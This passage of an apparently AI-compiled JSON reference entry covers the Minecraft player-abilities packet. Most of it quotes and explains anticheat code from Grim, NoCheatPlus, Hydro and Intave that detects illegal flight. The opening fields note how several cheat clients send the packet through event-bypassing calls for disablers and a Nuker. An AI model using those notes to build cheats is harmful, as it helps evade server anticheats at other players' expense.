    "general_hooks": "StrafeEvent (Rise 6.x), PacketOutEvent/PacketSendEvent (disablers), onEnable (Spicy movement), PreMotionEvent (Rise 6.x Nuker).",
    "client_variations": "Spicy routes through mc.getNetHandler().getNetworkManager().sendPacketNoEvent; Memeware through PacketUtil.sendPacketSilent; Rise 5.99 through PacketUtil.sendPacketWithoutEvent; Rise 6.x through PacketUtil.send/sendNoEvent. November Recode 2.0 only references C13 through its Lua scripting wrapper (LuaEventPacket maps id 0x13). LiquidSense Dev sends C13 through addToSendQueue (LastestHypixelFly, Tp) and NetworkManager.sendPacket (TeleportCommand per path node).",
    "related": [
     "S39PacketPlayerAbilities",
     "C03PacketPlayer",
     "C0BPacketEntityAction"
    ],
    "anticheat": {
     "overview": "The abilities packet carries the client's fly toggle and speed multipliers, but the vanilla server ignores every flag except isFlying. Server-side anticheats therefore treat C13 as a state signal: it tells them when the player believes they are allowed to fly, which they must reconcile against the abilities the server actually granted. Movement checks such as creative fly, nofall and vertical speed use this state to decide which physics model applies. Because the client can send the toggle out of order relative to the server abilities packet, modern anticheats confirm the state change with a transaction before trusting it.",
     "checks": [
      {
       "name": "Abilities state handler (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reconciles the client's fly toggle with the server's granted abilities and punishes players who keep flying after the server revoked flight.",
       "how_it_works": "Listens for both the inbound PLAYER_ABILITIES packet and the outbound server abilities packet. On the inbound side it sets the player's isFlying flag only if the server allows flight, so a spoofed toggle cannot enable flight. On the outbound side it sends a transaction, and when the server revokes flight it schedules a netty task: if the client has not confirmed the transaction within maxFlyingPing (default 1000 ms), the player is set back for still flying. The comment in the file explains that ability packets can arrive out of order, so the state change is applied on a later tick.",
       "detects": "Flight toggles sent while the server has revoked the ability, fly disablers that keep the client airborne after losing flight, and creative fly abuse.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerAbilities.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerAbilities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerAbilities;\nimport org.jetbrains.annotations.NotNull;\n\n// The client can send ability packets out of order due to Mojang's excellent netcode design.\n// We must delay the second ability packet until the tick after the first is received\n// Else the player will fly for a tick, and we won't know about it, which is bad.\npublic class PacketPlayerAbilities extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private boolean lastSentPlayerCanFly = false;\n    private int maxFlyingPing = 1000;\n\n    public PacketPlayerAbilities(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.PLAYER_ABILITIES) {\n            WrapperPlayClientPlayerAbilities abilities = new WrapperPlayClientPlayerAbilities(event);\n            player.isFlying = abilities.isFlying() && player.canFly;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.PLAYER_ABILITIES) {\n            WrapperPlayServerPlayerAbilities abilities = new WrapperPlayServerPlayerAbilities(event);\n            player.sendTransaction();\n\n            if (lastSentPlayerCanFly && !abilities.isFlightAllowed()) {\n                int noFlying = player.lastTransactionSent.get();\n                if (maxFlyingPing != -1) {\n                    player.runNettyTaskInMs(() -> {\n                        if (player.lastTransactionReceived.get() < noFlying) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                        }\n                    }, maxFlyingPing);\n                }\n            }\n\n            lastSentPlayerCanFly = abilities.isFlightAllowed();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                player.canFly = abilities.isFlightAllowed();\n                player.isFlying = abilities.isFlying();\n            });\n\n        }\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFlyingPing = config.getIntElse(\"max-ping-out-of-flying\", 1000);\n    }\n\n}\n\n// NOTE (AI): This handler is a state manager rather than a flagging check; the transaction timeout is the enforcement mechanism. It was included because it is the only anticheat file in the corpus dedicated to the abilities packet itself.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerAbilities.java",
       "variations": "NoCheatPlus feeds the same state into CreativeFly and SurvivalFly through MovingFlying, Hydro keeps a ConfirmedAbilities clone in its lag-compensated packet state, and Intave tracks the toggle in its AbilityTracker. FlopAC wraps the packet as WrappedInAbilitiesPacket, and CheaterDeleter reads the Bukkit isCreative and isFallFlying state instead of the raw packet."
      },
      {
       "name": "CreativeFly (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Vertical and horizontal envelope check for creative and spectator players, where flying is legal and the survival flight model does not apply.",
       "how_it_works": "Runs on every move while the player is in creative or spectator mode or is flying. It builds a ModelFlying from the move data, computes a horizontal limit from the fly speed attribute, the flySpeed sent in the abilities packet, sprint modifiers and air friction, and a vertical limit per direction: ascend, descend and hold altitude. Distance beyond the limits accumulates creativeFlyVL; queued velocity can consume the violation. On cancel it returns a setback location, corrected if it exceeds the world height.",
       "detects": "Creative fly speed hacks, vertical fly cheats in creative and spectator, and flying above the world height.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/moving/player/CreativeFly.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.moving.player;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Locale;\n\nimport org.bukkit.GameMode;\nimport org.bukkit.Location;\nimport org.bukkit.World;\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.actions.ParameterName;\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.ViolationData;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingConfig;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingData;\nimport fr.neatmonster.nocheatplus.checks.moving.envelope.workaround.LostGround;\nimport fr.neatmonster.nocheatplus.checks.moving.model.LiftOffEnvelope;\nimport fr.neatmonster.nocheatplus.checks.moving.model.ModelFlying;\nimport fr.neatmonster.nocheatplus.checks.moving.model.PlayerMoveData;\nimport fr.neatmonster.nocheatplus.compat.BridgeMisc;\nimport fr.neatmonster.nocheatplus.compat.blocks.changetracker.BlockChangeTracker;\nimport fr.neatmonster.nocheatplus.components.modifier.IAttributeAccess;\nimport fr.neatmonster.nocheatplus.components.registry.event.IGenericInstanceHandle;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.StringUtil;\nimport fr.neatmonster.nocheatplus.utilities.location.PlayerLocation;\nimport fr.neatmonster.nocheatplus.utilities.math.TrigUtil;\nimport fr.neatmonster.nocheatplus.utilities.moving.Magic;\nimport fr.neatmonster.nocheatplus.utilities.moving.MovingUtil;\n\n\n/**\n *  A check designed for players that are either in Creative or Spectator mode\n */\npublic class CreativeFly extends Check {\n\n    private final List<String> tags = new LinkedList<String>();\n    private final BlockChangeTracker blockChangeTracker;\n    private final IGenericInstanceHandle<IAttributeAccess> attributeAccess = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstanceHandle(IAttributeAccess.class);\n\n\n   /**\n    * Instantiates a new creative fly check.\n    */\n    public CreativeFly() {\n        super(CheckType.MOVING_CREATIVEFLY);\n        blockChangeTracker = NCPAPIProvider.getNoCheatPlusAPI().getBlockChangeTracker();\n    }\n\n\n   /**\n    * Checks a player\n    *\n    * @param player\n    * @param from\n    * @param to\n    * @param data\n    * @param cc\n    * @param time Milliseconds.\n    * @return\n    */\n    public Location check(final Player player, final PlayerLocation from, final PlayerLocation to, \n                          final MovingData data, final MovingConfig cc, final IPlayerData pData,\n                          final long time, final int tick,\n                          final boolean useBlockChangeTracker) {\n\n        // Reset tags, just in case.\n        tags.clear();\n        final boolean debug = pData.isDebugActive(type);\n        final GameMode gameMode = player.getGameMode();\n        final PlayerMoveData thisMove = data.playerMoves.getCurrentMove();\n        final PlayerMoveData lastMove = data.playerMoves.getFirstPastMove();\n        final ModelFlying model = thisMove.modelFlying;\n        final double yDistance = thisMove.yDistance;\n        final double hDistance = thisMove.hDistance;\n        final boolean flying = gameMode == BridgeMisc.GAME_MODE_SPECTATOR || player.isFlying();\n        final boolean sprinting = player.isSprinting();\n\n        // Lost ground, if set so.\n        if (model.getGround()) {\n            MovingUtil.prepareFullCheck(from, to, thisMove, Math.max(cc.yOnGround, cc.noFallyOnGround));\n            LostGround.runLostGroundChecks(player, from, to, hDistance, yDistance, lastMove, data, cc, useBlockChangeTracker ? blockChangeTracker : null, tags);\n        }\n\n\n        //////////////////////////\n        // Horizontal move.\n        //////////////////////////\n        double[] resH = hDist(player, from, to, hDistance, yDistance, sprinting, flying, thisMove, lastMove, time, model, data, cc);\n        double limitH = resH[0];\n        double resultH = resH[1];\n\n        // Check velocity.\n        //TODO: Add velocity\n//        if (resultH > 0) {\n//            double hFreedom = data.getHorizontalFreedom();\n//            if (hFreedom < resultH) {\n//                // Use queued velocity if possible.\n//                hFreedom += data.useHorizontalVelocity(resultH - hFreedom);\n//            }\n//            if (hFreedom > 0.0) {\n//                resultH = Math.max(0.0, resultH - hFreedom);\n//                if (resultH <= 0.0) {\n//                    limitH = hDistance;\n//                }\n//                tags.add(\"hvel\");\n//            }\n//        }\n//        else {\n//            data.clearActiveHorVel(); // TODO: test/check !\n//        }\n\n        resultH *= 100.0; // Normalize to % of a block.\n        if (resultH > 0.0) {\n            tags.add(\"hdist\");\n        }\n\n\n\n\n\n\n        //////////////////////////\n        // Vertical move.\n        //////////////////////////\n\n        double limitV = 0.0; // Limit. For debug only, violation handle on resultV\n        double resultV = 0.0; // Violation (normalized to 100 * 1 block, applies if > 0.0).\n\n        // Distinguish checking method by y-direction of the move:\n        // Ascend.\n        if (yDistance > 0.0) {\n            double[] res = vDistAscend(from, to, yDistance, flying, thisMove, lastMove, model, data, cc, debug);\n            resultV = Math.max(resultV, res[1]);\n            limitV = res[0];\n        }\n        // Descend.\n        else if (yDistance < 0.0) {\n            double[] res = vDistDescend(from, to, yDistance, flying, thisMove, lastMove, model, data, cc);\n            resultV = Math.max(resultV, res[1]);\n            limitV = res[0];\n        }\n        // Keep altitude.\n        else {\n            double[] res = vDistZero();\n            resultV = Math.max(resultV, res[1]);\n            limitV = res[0];\n        }\n\n        // Velocity.\n        if (resultV > 0.0 && (!thisMove.verVelUsed.isEmpty() || !data.getOrUseVerticalVelocity(yDistance).isEmpty())) {\n            resultV = 0.0;\n            tags.add(\"vvel\");\n        }\n\n        // Add tag for maximum height check (silent set back).\n        // TODO: Allow use velocity there (would need a flag to signal the actual check below)?\n        final double maximumHeight = model.getMaxHeight() + player.getWorld().getMaxHeight();\n        if (to.getY() > maximumHeight) {\n            tags.add(\"maxheight\");\n        }\n\n        resultV *= 100.0; // Normalize to % of a block.\n        if (resultV > 0.0) {\n            tags.add(\"vdist\");\n        }\n\n        final double result = Math.max(0.0, resultH) + Math.max(0.0, resultV);\n\n\n\n        //////////////////////////\n        // Output debug\n        //////////////////////////\n        if (debug) {\n            outpuDebugMove(player, hDistance, limitH, yDistance, limitV, model, tags, data);\n        }\n\n\n\n        ///////////////////////\n        // Violation handling\n        ///////////////////////\n\n        Location setBack = null; // Might get altered below.\n\n        if (result > 0.0) {\n            data.creativeFlyVL += result;\n            // Execute whatever actions are associated with this check and the violation level and find out if we\n            // should cancel the event.\n            final ViolationData vd = new ViolationData(this, player, data.creativeFlyVL, result, cc.creativeFlyActions);\n            if (vd.needsParameters()) {\n                vd.setParameter(ParameterName.LOCATION_FROM, String.format(Locale.US, \"%.2f, %.2f, %.2f\", from.getX(), from.getY(), from.getZ()));\n                vd.setParameter(ParameterName.LOCATION_TO, String.format(Locale.US, \"%.2f, %.2f, %.2f\", to.getX(), to.getY(), to.getZ()));\n                vd.setParameter(ParameterName.DISTANCE, String.format(Locale.US, \"%.2f\", TrigUtil.distance(from,  to)));\n                if (model != null) {\n                    vd.setParameter(ParameterName.MODEL, model.getId().toString());\n                }\n                if (!tags.isEmpty()) {\n                    vd.setParameter(ParameterName.TAGS, StringUtil.join(tags, \"+\"));\n                }\n            }\n            if (executeActions(vd).willCancel()) {\n                // Compose a new location based on coordinates of \"newTo\" and viewing direction of \"event.getTo()\"\n                // to allow the player to look somewhere else despite getting pulled back by NoCheatPlus.\n                setBack = data.getSetBack(to); // (OK)\n            }\n        }\n        else {\n            // Maximum height check (silent set back).\n            if (to.getY() > maximumHeight) {\n                setBack = data.getSetBack(to); // (OK)\n                if (debug) {\n                    debug(player, \"Maximum height exceeded, silent set-back.\");\n                }\n            }\n            if (setBack == null) {\n                // Slowly reduce the violation level with each event.\n                data.creativeFlyVL *= 0.97;\n            }\n        }\n\n        // Return setBack, if set.\n        if (setBack != null) {\n            // Check for max height of the set back.\n            if (setBack.getY() > maximumHeight) {\n                // Correct the y position.\n                setBack.setY(getCorrectedHeight(maximumHeight, setBack.getWorld()));\n                if (debug) {\n                    debug(player, \"Maximum height exceeded by set back, correct to: \" + setBack.getY());\n                }\n            }\n            data.sfJumpPhase = 0;\n            return setBack;\n        }\n        else {\n            // Adjust the set back and other last distances.\n            data.setSetBack(to);\n            // Adjust jump phase.\n            if (!thisMove.from.onGroundOrResetCond && !thisMove.to.onGroundOrResetCond) {\n                data.sfJumpPhase ++;\n            }\n            else if (thisMove.touchedGround && !thisMove.to.onGroundOrResetCond) {\n                data.sfJumpPhase = 1;\n            }\n            else {\n                data.sfJumpPhase = 0;\n            }\n            return null;\n        }\n    }\n\n\n    /**\n     * Horizontal distance checking.\n     * @param player\n     * @param from\n     * @param to\n     * @param hDistance\n     * @param yDistance\n     * @param flying\n     * @param lastMove\n     * @param time\n     * @param model\n     * @param data\n     * @param cc\n     * @return limitH, resultH (not normalized).\n     */\n    private double[] hDist(final Player player, final PlayerLocation from, final PlayerLocation to, final double hDistance, \n                           final double yDistance, final boolean sprinting, final boolean flying, final PlayerMoveData thisMove, \n                           final PlayerMoveData lastMove, final long time, final ModelFlying model, final MovingData data, final MovingConfig cc) {\n\n        // Modifiers.\n        double fSpeed;\n        // TODO: Make this configurable ! [Speed effect should not affect flying if not on ground.]\n        if (model.getApplyModifiers()) {\n            final double speedModifier = mcAccess.getHandle().getFasterMovementAmplifier(player);\n            if (Double.isInfinite(speedModifier)) fSpeed = 1.0;\n            else fSpeed = 1.0 + 0.2 * (speedModifier + 1.0);\n    \n            if (flying) {\n                // TODO: Consider mechanics for flying backwards.\n                fSpeed *= data.flySpeed / Magic.DEFAULT_FLYSPEED;\n                if (sprinting) {\n                    // TODO: Prevent for pre-1.8?\n                    fSpeed *= model.getHorizontalModSprint();\n                    tags.add(\"sprint\");\n                }\n                tags.add(\"flying\");\n            }\n            //  else {\n            //     // (Ignore sprinting here).\n            //      final double attrMod = attributeAccess.getHandle().getSpeedAttributeMultiplier(player);\n            //      if (attrMod != Double.MAX_VALUE) fSpeed *= attrMod;\n            //      fSpeed *= data.walkSpeed / Magic.CB_DEFAULT_WALKSPEED;\n            //  }\n        }\n        else fSpeed = 1.0;\n        \n        // The horizontal limit is now set. \n        double limitH = model.getHorizontalModSpeed() / 100.0 * ModelFlying.HORIZONTAL_SPEED * fSpeed;\n        \n\n        // Ordinary friction\n        // TODO: Use last friction (as well)?\n        // TODO: Test/adjust more.\n        // it doesn't really make much sense checking for friction as well...\n        if (lastMove.toIsValid) {\n            double frictionDist = lastMove.hDistance * Magic.FRICTION_MEDIUM_AIR;\n            limitH = Math.max(frictionDist, limitH);\n            tags.add(\"hfrict\");\n        }\n\n        // Finally, determine how far the player went beyond the set limits.\n        double resultH = Math.max(0.0, hDistance - limitH);\n\n        if (model.getApplyModifiers()) {\n            data.jumpDelay--;\n            //TODO: Remove this useless shit.\n            if (!flying && resultH > 0 && resultH < 0.3) {\n                // 0: yDistance envelope\n                if (yDistance >= 0.0 &&\n                    (\n                        // 1: Normal jumping.\n                        yDistance > 0.0 \n                        && yDistance > LiftOffEnvelope.NORMAL.getJumpGain(data.jumpAmplifier) - Magic.GRAVITY_SPAN\n                        // 1: Too short with head obstructed.\n                        || thisMove.headObstructed || lastMove.toIsValid && lastMove.headObstructed && lastMove.yDistance <= 0.0\n                        // 1: Hop without y distance increase at moderate h-speed.\n                        // TODO: 2nd below: demand next move to jump. Relate to stored past moves. \n                        // TODO: Ensure the gain can only be used once per so and so.\n                        //|| (cc.sfGroundHop || yDistance == 0.0 && !lastMove.touchedGroundWorkaround && !lastMove.from.onGround)\n                        //&& limitH > 0.0 && hDistance / limitH < 1.5\n                        //&& (hDistance / lastMove.hDistance < 1.35 \n                        //        || hDistance / limitH < 1.35)\n                    )\n                    // 0: Ground + jump phase conditions.\n                    && (data.sfJumpPhase <= 1 && (thisMove.touchedGroundWorkaround || \n                        lastMove.touchedGround && !lastMove.bunnyHop))\n                    // 0: Don't allow bunny to run out of liquid.\n                    && (!from.isResetCond() && !to.isResetCond()) // TODO: !to.isResetCond() should be reviewed.\n                    ) {\n\n                    tags.add(\"bunnyhop\");\n                    data.jumpDelay = 9;\n                    thisMove.bunnyHop = true;\n                    resultH = 0.0;\n                }\n                else if (data.jumpDelay <= 0) {\n                    resultH = 0.0;\n                    tags.add(\"bunnyhop\");\n                }\n            }\n        }\n        return new double[] {limitH, resultH};\n    }\n\n\n   /**\n     * Ascending (yDistance > 0.0) check.\n     * @param from\n     * @param to\n     * @param yDistance\n     * @param flying\n     * @param lastMove\n     * @param model\n     * @param data\n     * @param cc\n     * @return limitV, resultV (not normalized).\n     */\n    private double[] vDistAscend(final PlayerLocation from, final PlayerLocation to, final double yDistance, \n                                 final boolean flying, final PlayerMoveData thisMove, final PlayerMoveData lastMove, \n                                 final ModelFlying model, final MovingData data, final MovingConfig cc, final boolean debug) {\n\n        // Set the vertical limit.\n        double limitV = model.getVerticalAscendModSpeed() / 100.0 * ModelFlying.VERTICAL_ASCEND_SPEED; \n        double resultV = 0.0;\n        \n        // Let fly speed apply with moving upwards.\n        if (model.getApplyModifiers() && flying && yDistance > 0.0) {\n            limitV *= data.flySpeed / Magic.DEFAULT_FLYSPEED;\n        }\n        \n        // Friction with gravity.\n        if (model.getGravity()) {\n            if (yDistance > limitV && lastMove.toIsValid) { \n                // (Disregard gravity.)\n                // TODO: Use last friction (as well)?\n                double frictionDist = lastMove.yDistance * Magic.FRICTION_MEDIUM_AIR;\n                if (!flying) {\n                    frictionDist -= 0.019;\n                }\n                if (frictionDist > limitV) {\n                    limitV = frictionDist;\n                    tags.add(\"vfrict_g\");\n                }\n            }\n        }\n\n        if (model.getGround()) {\n            // Jump lift off gain.\n            // NOTE: This assumes SurvivalFly busies about moves with from.onGroundOrResetCond.\n            if (yDistance > limitV && !thisMove.to.onGroundOrResetCond && !thisMove.from.onGroundOrResetCond && (\n                // Last move touched ground.\n                lastMove.toIsValid && lastMove.touchedGround && \n                (lastMove.yDistance <= 0.0 || lastMove.to.extraPropertiesValid && lastMove.to.onGround)\n                // This move touched ground by a workaround.\n                || thisMove.touchedGroundWorkaround\n                )) {\n                // Allow normal jumping.\n                final double maxGain = LiftOffEnvelope.NORMAL.getJumpGain(data.jumpAmplifier);\n                if (maxGain > limitV) {\n                    limitV = maxGain;\n                    tags.add(\"jump_gain\");\n                }\n            }\n        }\n\n        // Ordinary step up.\n        // TODO: Might be within a 'if (model.ground)' block?\n        // TODO: sfStepHeight should be a common modeling parameter?\n        if (yDistance > limitV && yDistance <= cc.sfStepHeight \n            && (lastMove.toIsValid && lastMove.yDistance < 0.0 || from.isOnGroundOrResetCond() || thisMove.touchedGroundWorkaround)\n            && to.isOnGround()) {\n            // (Jump effect not checked yet.)\n            limitV = cc.sfStepHeight;\n            tags.add(\"step_up\");\n        }\n\n        // Determine violation amount.\n        resultV = Math.max(0.0, yDistance - limitV);\n        // Post-violation recovery.\n        return new double[] {limitV, resultV};\n    }\n\n\n    /**\n     * Descending phase vDist check\n     * @param from\n     * @param to\n     * @param yDistance\n     * @param flying\n     * @param thisMove\n     * @param lastMove\n     * @param model\n     * @param data\n     * @param cc\n     * @return limitV, resultV\n     */\n    private double[] vDistDescend(final PlayerLocation from, final PlayerLocation to, final double yDistance, final boolean flying, \n                                  final PlayerMoveData thisMove, final PlayerMoveData lastMove, final ModelFlying model, \n                                  final MovingData data, final MovingConfig cc) {\n        double limitV = 0.0;\n        double resultV = 0.0;\n        // Note that 'extreme moves' are covered by the extreme move check.\n        // TODO: if gravity: friction + gravity.\n        // TODO: ordinary flying (flying: enforce maximum speed at least)\n        return new double[] {limitV, resultV};\n    }\n\n\n    /**\n     * Keep the altitude\n     *\n     * @return limitV, resultV\n     */\n    private double[] vDistZero() {\n        double limitV = 0.0;\n        double resultV = 0.0;\n        return new double[] {limitV, resultV};\n    }\n\n\n   /**\n    * \n    * @param maximumHeight\n    * @param world\n    * @return \n    */\n    private double getCorrectedHeight(final double maximumHeight, final World world) {\n        return Math.max(maximumHeight - 10.0, world.getMaxHeight());\n    }\n\n\n   /**\n    * Output debug\n    * @param player\n    * @param hDistance\n    * @param limitH\n    * @param yDistance\n    * @param limitV\n    * @param model\n    * @param tags\n    * @param data\n    * @return\n    */\n    private void outpuDebugMove(final Player player, final double hDistance, final double limitH, \n                                final double yDistance, final double limitV, final ModelFlying model, final List<String> tags, \n                                final MovingData data) {\n\n        final PlayerMoveData lastMove = data.playerMoves.getFirstPastMove();\n        StringBuilder builder = new StringBuilder(350);\n        final String dHDist = lastMove.toIsValid ? \" (\" + StringUtil.formatDiff(hDistance, lastMove.hDistance) + \")\" : \"\";\n        final String dYDist = lastMove.toIsValid ? \" (\" + StringUtil.formatDiff(yDistance, lastMove.yDistance)+ \")\" : \"\";\n        builder.append(\"hDist: \" + hDistance + dHDist + \" / \" + limitH + \" , vDist: \" + yDistance + dYDist + \" / \" + limitV);\n        final PlayerMoveData thisMove = data.playerMoves.getCurrentMove();\n        if (lastMove.toIsValid) {\n            builder.append(\" , fdsq: \" + StringUtil.fdec3.format(thisMove.distanceSquared / lastMove.distanceSquared));\n        }\n        if (thisMove.verVelUsed != null) {\n            builder.append(\" , vVelUsed: \" + thisMove.verVelUsed);\n        }\n        builder.append(\" , model: \" + model.getId());\n        if (!tags.isEmpty()) {\n            builder.append(\" , tags: \");\n            builder.append(StringUtil.join(tags, \"+\"));\n        }\n        builder.append(\" , jumpphase: \" + data.sfJumpPhase);\n        thisMove.addExtraProperties(builder, \" , \");\n        debug(player, builder.toString());\n    }\n}\n\n// NOTE (AI): The abilities packet is not read here directly; the flying flag and flySpeed it carries arrive through the MovingFlying adapter that prepares the PlayerMoveData model. The file is included as the canonical creative-fly envelope check.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/moving/player/CreativeFly.java",
       "variations": "Grim handles the same state in its FlightA and NoFall checks via the abilities handler, Hydro in FlightA, and CheaterDeleter in VerticalCheck and SpeedCheck, all keyed off the same can-fly state."
      },
      {
       "name": "ConfirmedAbilities (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Lag-compensated copy of the client's ability flags used by Hydro's movement and emulation checks.",
       "how_it_works": "A small plain class holding godMode, flying, flightAllowed, creativeMode, walkSpeed and flySpeed. Hydro stores a ConfirmedAbilities instance in the packet state, updates it from the inbound abilities packet, and clones it when the server sends abilities so checks read what the client believes its abilities are at a given tick. The clone method lets the emulation engine snapshot state before applying a move.",
       "detects": "Provides the state needed to detect flight abuse and creative fly where the client's view of its abilities diverges from the server's.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/util/lag/ConfirmedAbilities.java =====\npackage integral.studios.hydro.util.lag;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.Setter;\n\n\n\n@Getter\n@Setter\n@AllArgsConstructor\npublic class ConfirmedAbilities {\n    private boolean godMode, flying, flightAllowed, creativeMode;\n\n    private float walkSpeed, flySpeed;\n\n    public ConfirmedAbilities() {\n        this(\n                false,\n                false,\n                false,\n                false,\n                0.1F,\n                0.05F\n        );\n    }\n\n    public ConfirmedAbilities clone() {\n        return new ConfirmedAbilities(godMode, flying, flightAllowed, creativeMode, walkSpeed, flySpeed);\n    }\n}\n\n// NOTE (AI): This is a data holder without timing logic; the default constructor matches vanilla ability defaults (0.1 walk speed, 0.05 fly speed).",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/util/lag/ConfirmedAbilities.java",
       "variations": "Grim's PacketPlayerAbilities and Intave's AbilityTracker implement the same idea with transaction confirmation; Hydro's version is a pure state clone."
      },
      {
       "name": "AbilityTracker (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Tracks the abilities state server-side so the movement simulator knows whether flight is legal for the player.",
       "how_it_works": "Registers receiveAbilities and sentAbilities handlers. On the inbound abilities packet it stores the requested flying flag and, only if the server had allowed flying, sets the player's flying state; otherwise it records disabledFlying. The sentAbilities side compares the new server state against the previous one and, when flight is revoked, requires the player to confirm the teleport rate limit before treating the player as grounded again. The tracker is consumed by the Physics simulation checks.",
       "detects": "Flying without the server granting the ability, and clients that ignore a flight revocation.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java =====\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketEvent;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.AbilityInReader;\nimport de.jpx3.intave.packet.reader.AbilityOutReader;\nimport de.jpx3.intave.packet.reader.EntityReader;\nimport de.jpx3.intave.packet.reader.GameStateChangeReader;\nimport de.jpx3.intave.share.Motion;\nimport de.jpx3.intave.user.MessageChannel;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.AbilityMetadata;\nimport de.jpx3.intave.user.meta.MetadataBundle;\nimport de.jpx3.intave.user.meta.MovementMetadata;\nimport org.bukkit.ChatColor;\nimport org.bukkit.Location;\nimport org.bukkit.entity.Player;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\nimport static de.jpx3.intave.packet.reader.GameStateChangeReader.GameState.CHANGE_GAME_MODE;\n\npublic final class AbilityTracker extends Module {\n  @PacketSubscription(packetsOut = CAMERA)\n  public void receiveCamera(User user, EntityReader reader) {\n    int entityId = reader.entityId();\n    user.tickFeedback(() -> synchronizedCameraUpdate(user, entityId));\n  }\n\n  private void synchronizedCameraUpdate(User user, int entityId) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.hasViewEntity = entityId != user.player().getEntityId();\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {ABILITIES_IN}\n  )\n  public void receiveAbilities(User user, AbilityInReader reader) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    MovementMetadata movementData = user.meta().movement();\n    boolean flying = reader.requestedFlying();\n    if (abilityData.allowFlying()) {\n      if (flying) {\n        abilityData.setFlying(true);\n      } else {\n        abilityData.disabledFlying = true;\n      }\n    }\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      ABILITIES_OUT\n    }\n  )\n  public void sentAbilities(User user, AbilityOutReader reader, PacketEvent event) {\n    MetadataBundle meta = user.meta();\n    MovementMetadata movement = meta.movement();\n    AbilityMetadata abilityData = meta.abilities();\n    float flyingSpeed = reader.flyingSpeed();\n    float walkingSpeed = reader.walkingSpeed();\n    boolean allowedFlight = reader.flyingAllowed();\n    boolean critical = abilityData.allowFlying() && !allowedFlight && movement.criticalTeleportRateLimiter.tryAcquire();\n    if (critical /*&& movement.lastTeleport < 20*/) {\n      // Teleport again to force transaction synchronization\n      Synchronizer.synchronizeDelayed(() -> {\n        MovementMetadata moovement = user.meta().movement();\n        if (moovement.criticalFlyingDisallowStacks > 0) {\n          Location position = moovement.verifiedLocation().clone();\n          Player player = user.player();\n          position.setWorld(player.getWorld());\n          player.teleport(position);\n          moovement.criticalFlyingBlockMovementStacks++;\n          if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n            player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + 